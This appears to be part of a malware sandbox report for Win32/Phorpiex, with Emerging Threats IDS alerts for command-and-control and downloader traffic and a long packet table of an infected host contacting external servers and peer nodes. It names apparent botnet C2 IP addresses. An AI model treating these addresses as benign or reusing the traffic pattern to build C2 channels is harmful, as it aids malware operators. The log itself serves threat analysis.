2024-09-17T23:12:56.871465+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49831	185.215.113.66	80	TCP
2024-09-17T23:12:58.897691+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	59145	100.109.48.43	40500	UDP
2024-09-17T23:12:59.607090+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49832	185.215.113.66	80	TCP
2024-09-17T23:12:59.607090+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49832	185.215.113.66	80	TCP
2024-09-17T23:13:02.354191+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49834	185.215.113.66	80	TCP
2024-09-17T23:13:02.354191+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49834	185.215.113.66	80	TCP
2024-09-17T23:13:05.072325+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49836	185.215.113.66	80	TCP
2024-09-17T23:13:05.072325+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49836	185.215.113.66	80	TCP
2024-09-17T23:13:09.923770+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49837	77.91.77.92	80	TCP
2024-09-17T23:13:09.923770+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49837	77.91.77.92	80	TCP
2024-09-17T23:13:13.779440+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49839	77.91.77.92	80	TCP
2024-09-17T23:13:13.779440+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49839	77.91.77.92	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 17, 2024 23:09:15.563776970 CEST	49730	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:15.568891048 CEST	80	49730	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:15.569032907 CEST	49730	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:15.569209099 CEST	49730	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:15.574179888 CEST	80	49730	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:16.259267092 CEST	80	49730	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:16.259324074 CEST	80	49730	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:16.259356022 CEST	80	49730	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:16.259430885 CEST	49730	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:16.259430885 CEST	49730	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:16.259430885 CEST	49730	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:16.259716988 CEST	80	49730	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:16.259732008 CEST	80	49730	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:16.259747982 CEST	80	49730	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:16.259908915 CEST	49730	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:16.259910107 CEST	49730	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:16.260427952 CEST	80	49730	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:16.260624886 CEST	49730	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:16.263004065 CEST	49730	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:16.263041019 CEST	49730	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:17.269658089 CEST	49732	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:17.274545908 CEST	80	49732	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:17.274611950 CEST	49732	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:17.274733067 CEST	49732	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:17.279483080 CEST	80	49732	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:17.984699965 CEST	80	49732	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:17.984724045 CEST	80	49732	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:17.984756947 CEST	80	49732	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:17.984778881 CEST	49732	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:17.984824896 CEST	49732	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:17.985251904 CEST	80	49732	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:17.985268116 CEST	80	49732	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:17.985284090 CEST	80	49732	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:17.985316992 CEST	49732	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:17.985316992 CEST	49732	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:17.985337019 CEST	49732	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:17.985702038 CEST	80	49732	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:17.985749960 CEST	49732	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:18.072895050 CEST	80	49732	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:18.072948933 CEST	49732	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:18.093730927 CEST	49733	40500	192.168.2.4	5.234.221.184
Sep 17, 2024 23:09:18.098836899 CEST	40500	49733	5.234.221.184	192.168.2.4
Sep 17, 2024 23:09:18.098906040 CEST	49733	40500	192.168.2.4	5.234.221.184
Sep 17, 2024 23:09:18.100330114 CEST	49733	40500	192.168.2.4	5.234.221.184
Sep 17, 2024 23:09:18.105200052 CEST	40500	49733	5.234.221.184	192.168.2.4
Sep 17, 2024 23:09:18.105262041 CEST	49733	40500	192.168.2.4	5.234.221.184
Sep 17, 2024 23:09:18.110084057 CEST	40500	49733	5.234.221.184	192.168.2.4
Sep 17, 2024 23:09:20.232733965 CEST	49732	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:20.233184099 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:20.237736940 CEST	49733	40500	192.168.2.4	5.234.221.184
Sep 17, 2024 23:09:20.238115072 CEST	80	49732	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:20.238131046 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:20.238190889 CEST	49732	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:20.238241911 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:20.238425970 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:20.243248940 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:20.285351038 CEST	40500	49733	5.234.221.184	192.168.2.4
Sep 17, 2024 23:09:20.952914000 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:20.953022003 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:20.953231096 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:20.953250885 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:20.953280926 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:20.953288078 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:20.953299999 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:20.953336954 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:20.953783035 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:20.953793049 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:20.953804970 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:20.953808069 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:20.953828096 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:20.953847885 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:21.039796114 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:21.039861917 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:23.163697958 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:23.168615103 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:23.386266947 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:23.386341095 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:25.238234997 CEST	49736	40500	192.168.2.4	77.244.144.31
Sep 17, 2024 23:09:25.243275881 CEST	40500	49736	77.244.144.31	192.168.2.4
Sep 17, 2024 23:09:25.243546009 CEST	49736	40500	192.168.2.4	77.244.144.31
Sep 17, 2024 23:09:25.244862080 CEST	49736	40500	192.168.2.4	77.244.144.31
Sep 17, 2024 23:09:25.249689102 CEST	40500	49736	77.244.144.31	192.168.2.4
Sep 17, 2024 23:09:25.249753952 CEST	49736	40500	192.168.2.4	77.244.144.31
Sep 17, 2024 23:09:25.254558086 CEST	40500	49736	77.244.144.31	192.168.2.4
Sep 17, 2024 23:09:25.442640066 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:25.447555065 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:25.664438009 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:25.665035009 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:27.174693108 CEST	40500	49736	77.244.144.31	192.168.2.4
Sep 17, 2024 23:09:27.176961899 CEST	49736	40500	192.168.2.4	77.244.144.31
Sep 17, 2024 23:09:27.692382097 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:27.697344065 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:27.915556908 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:27.916076899 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:29.942568064 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:29.947510958 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:30.163774967 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:30.163885117 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:32.192881107 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:32.198102951 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:32.414632082 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:09:32.414764881 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:09:35.253098965 CEST	49736	40500	192.168.2.4	77.244.144.31
Sep 17, 2024 23:09:35.258114100 CEST	40500	49736	77.244.144.31	192.168.2.4
Sep 17, 2024 23:09:35.459579945 CEST	49738	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:35.464518070 CEST	80	49738	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:35.464708090 CEST	49738	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:35.464857101 CEST	49738	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:35.469899893 CEST	80	49738	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:37.130520105 CEST	80	49738	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:37.130578041 CEST	49738	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:37.130789042 CEST	49738	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:37.135792017 CEST	80	49738	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:39.236645937 CEST	49741	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:39.241666079 CEST	80	49741	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:39.241735935 CEST	49741	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:39.241875887 CEST	49741	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:39.246900082 CEST	80	49741	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:39.473566055 CEST	40500	49733	5.234.221.184	192.168.2.4
Sep 17, 2024 23:09:39.473638058 CEST	49733	40500	192.168.2.4	5.234.221.184
Sep 17, 2024 23:09:40.269583941 CEST	49742	40500	192.168.2.4	178.88.111.20
Sep 17, 2024 23:09:40.274568081 CEST	40500	49742	178.88.111.20	192.168.2.4
Sep 17, 2024 23:09:40.274672031 CEST	49742	40500	192.168.2.4	178.88.111.20
Sep 17, 2024 23:09:40.275899887 CEST	49742	40500	192.168.2.4	178.88.111.20
Sep 17, 2024 23:09:40.280750990 CEST	40500	49742	178.88.111.20	192.168.2.4
Sep 17, 2024 23:09:40.280810118 CEST	49742	40500	192.168.2.4	178.88.111.20
Sep 17, 2024 23:09:40.285587072 CEST	40500	49742	178.88.111.20	192.168.2.4
Sep 17, 2024 23:09:40.900562048 CEST	80	49741	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:40.900662899 CEST	49741	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:40.900841951 CEST	49741	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:40.905638933 CEST	80	49741	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:42.926588058 CEST	49743	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:42.931639910 CEST	80	49743	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:42.931755066 CEST	49743	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:42.938610077 CEST	49743	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:42.943389893 CEST	80	49743	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:44.587136030 CEST	80	49743	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:44.587313890 CEST	49743	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:44.587315083 CEST	49743	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:44.592247963 CEST	80	49743	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:46.615981102 CEST	49744	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:46.621100903 CEST	80	49744	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:46.621326923 CEST	49744	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:46.621805906 CEST	49744	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:46.626660109 CEST	80	49744	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:48.275198936 CEST	80	49744	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:48.275269032 CEST	49744	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:48.275342941 CEST	49744	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:48.280754089 CEST	80	49744	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:50.293888092 CEST	49742	40500	192.168.2.4	178.88.111.20
Sep 17, 2024 23:09:50.341404915 CEST	40500	49742	178.88.111.20	192.168.2.4
Sep 17, 2024 23:09:50.343878984 CEST	49745	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:50.350383043 CEST	80	49745	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:50.350572109 CEST	49745	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:50.351401091 CEST	49745	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:50.357728004 CEST	80	49745	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:52.012217999 CEST	80	49745	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:52.012408018 CEST	49745	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:52.012408018 CEST	49745	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:52.020997047 CEST	80	49745	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:54.065993071 CEST	49746	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:54.082371950 CEST	80	49746	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:54.082577944 CEST	49746	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:54.083096027 CEST	49746	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:54.091000080 CEST	80	49746	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:55.285393953 CEST	49747	40500	192.168.2.4	59.91.192.118
Sep 17, 2024 23:09:55.290381908 CEST	40500	49747	59.91.192.118	192.168.2.4
Sep 17, 2024 23:09:55.290498972 CEST	49747	40500	192.168.2.4	59.91.192.118
Sep 17, 2024 23:09:55.291790962 CEST	49747	40500	192.168.2.4	59.91.192.118
Sep 17, 2024 23:09:55.296617031 CEST	40500	49747	59.91.192.118	192.168.2.4
Sep 17, 2024 23:09:55.296664000 CEST	49747	40500	192.168.2.4	59.91.192.118
Sep 17, 2024 23:09:55.301600933 CEST	40500	49747	59.91.192.118	192.168.2.4
Sep 17, 2024 23:09:55.741707087 CEST	80	49746	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:55.742140055 CEST	49746	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:55.742233992 CEST	49746	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:09:55.747345924 CEST	80	49746	77.91.77.92	192.168.2.4
Sep 17, 2024 23:09:58.792392015 CEST	49748	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:09:58.797909975 CEST	80	49748	91.202.233.141	192.168.2.4
Sep 17, 2024 23:09:58.797986031 CEST	49748	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:09:58.798137903 CEST	49748	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:09:58.803256035 CEST	80	49748	91.202.233.141	192.168.2.4
Sep 17, 2024 23:09:59.523145914 CEST	80	49748	91.202.233.141	192.168.2.4
Sep 17, 2024 23:09:59.523197889 CEST	80	49748	91.202.233.141	192.168.2.4
Sep 17, 2024 23:09:59.523233891 CEST	80	49748	91.202.233.141	192.168.2.4
Sep 17, 2024 23:09:59.523266077 CEST	80	49748	91.202.233.141	192.168.2.4
Sep 17, 2024 23:09:59.523300886 CEST	80	49748	91.202.233.141	192.168.2.4
Sep 17, 2024 23:09:59.523334026 CEST	80	49748	91.202.233.141	192.168.2.4
Sep 17, 2024 23:09:59.523346901 CEST	49748	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:09:59.523346901 CEST	49748	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:09:59.523346901 CEST	49748	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:09:59.523346901 CEST	49748	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:09:59.523391962 CEST	49748	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:09:59.523413897 CEST	80	49748	91.202.233.141	192.168.2.4
Sep 17, 2024 23:09:59.523448944 CEST	80	49748	91.202.233.141	192.168.2.4
Sep 17, 2024 23:09:59.523463964 CEST	49748	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:09:59.523482084 CEST	80	49748	91.202.233.141	192.168.2.4
Sep 17, 2024 23:09:59.523494005 CEST	49748	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:09:59.523516893 CEST	80	49748	91.202.233.141	192.168.2.4
Sep 17, 2024 23:09:59.523525000 CEST	49748	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:09:59.523567915 CEST	49748	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:09:59.524064064 CEST	49748	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:09:59.524091959 CEST	49748	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:09:59.528557062 CEST	80	49748	91.202.233.141	192.168.2.4
Sep 17, 2024 23:09:59.528633118 CEST	49748	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:09:59.529177904 CEST	80	49748	91.202.233.141	192.168.2.4
Sep 17, 2024 23:09:59.529226065 CEST	49748	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:00.535502911 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:00.540616035 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:00.540713072 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:00.540867090 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:00.546055079 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:01.236260891 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:01.236279011 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:01.236289978 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:01.236361027 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:01.236372948 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:01.236382961 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:01.236394882 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:01.236542940 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:01.236542940 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:01.236542940 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:01.236542940 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:01.236784935 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:01.236805916 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:01.236819029 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:01.236850977 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:01.236851931 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:01.236876011 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:01.241662025 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:01.241736889 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:01.647906065 CEST	40500	49742	178.88.111.20	192.168.2.4
Sep 17, 2024 23:10:01.647968054 CEST	49742	40500	192.168.2.4	178.88.111.20
Sep 17, 2024 23:10:02.416474104 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:02.416660070 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:02.456315994 CEST	49747	40500	192.168.2.4	59.91.192.118
Sep 17, 2024 23:10:02.505671024 CEST	40500	49747	59.91.192.118	192.168.2.4
Sep 17, 2024 23:10:07.443656921 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:07.449881077 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:07.473944902 CEST	49750	40500	192.168.2.4	149.54.35.210
Sep 17, 2024 23:10:07.478907108 CEST	40500	49750	149.54.35.210	192.168.2.4
Sep 17, 2024 23:10:07.479087114 CEST	49750	40500	192.168.2.4	149.54.35.210
Sep 17, 2024 23:10:07.481427908 CEST	49750	40500	192.168.2.4	149.54.35.210
Sep 17, 2024 23:10:07.487147093 CEST	40500	49750	149.54.35.210	192.168.2.4
Sep 17, 2024 23:10:07.487250090 CEST	49750	40500	192.168.2.4	149.54.35.210
Sep 17, 2024 23:10:07.492003918 CEST	40500	49750	149.54.35.210	192.168.2.4
Sep 17, 2024 23:10:07.663274050 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:07.663392067 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:07.663399935 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:07.663407087 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:07.663414955 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:07.663423061 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:07.663501024 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:07.663501024 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:07.663593054 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:07.663840055 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:07.663887024 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:07.663914919 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:07.663994074 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:07.665338039 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:07.665374041 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:07.670383930 CEST	80	49749	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:07.670490026 CEST	49749	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:08.676172018 CEST	49751	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:08.681221008 CEST	80	49751	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:08.681338072 CEST	49751	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:08.681487083 CEST	49751	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:08.686305046 CEST	80	49751	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:10.219350100 CEST	80	49751	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:10.219369888 CEST	80	49751	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:10.219382048 CEST	80	49751	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:10.219425917 CEST	49751	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:10.219508886 CEST	49751	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:10.219510078 CEST	80	49751	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:10.219521046 CEST	80	49751	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:10.219531059 CEST	80	49751	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:10.219542027 CEST	80	49751	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:10.219561100 CEST	49751	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:10.219594955 CEST	49751	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:10.219670057 CEST	80	49751	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:10.219680071 CEST	80	49751	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:10.219687939 CEST	80	49751	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:10.219722986 CEST	49751	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:10.219790936 CEST	49751	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:10.220110893 CEST	80	49751	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:10.220153093 CEST	49751	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:10.223161936 CEST	80	49751	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:10.223221064 CEST	49751	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:11.097090960 CEST	49750	40500	192.168.2.4	149.54.35.210
Sep 17, 2024 23:10:11.145642042 CEST	40500	49750	149.54.35.210	192.168.2.4
Sep 17, 2024 23:10:15.943464994 CEST	49752	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:15.948740005 CEST	80	49752	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:15.948940992 CEST	49752	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:15.953558922 CEST	49752	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:15.958656073 CEST	80	49752	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:16.119915009 CEST	49753	40500	192.168.2.4	95.212.18.41
Sep 17, 2024 23:10:16.125118017 CEST	40500	49753	95.212.18.41	192.168.2.4
Sep 17, 2024 23:10:16.125248909 CEST	49753	40500	192.168.2.4	95.212.18.41
Sep 17, 2024 23:10:16.127315044 CEST	49753	40500	192.168.2.4	95.212.18.41
Sep 17, 2024 23:10:16.132885933 CEST	40500	49753	95.212.18.41	192.168.2.4
Sep 17, 2024 23:10:16.132981062 CEST	49753	40500	192.168.2.4	95.212.18.41
Sep 17, 2024 23:10:16.140803099 CEST	40500	49753	95.212.18.41	192.168.2.4
Sep 17, 2024 23:10:16.630811930 CEST	49751	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:16.635772943 CEST	80	49751	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:16.643790960 CEST	80	49752	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:16.643935919 CEST	49752	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:16.661775112 CEST	40500	49747	59.91.192.118	192.168.2.4
Sep 17, 2024 23:10:16.661833048 CEST	49747	40500	192.168.2.4	59.91.192.118
Sep 17, 2024 23:10:16.846080065 CEST	80	49751	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:16.846308947 CEST	49751	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:17.300015926 CEST	49753	40500	192.168.2.4	95.212.18.41
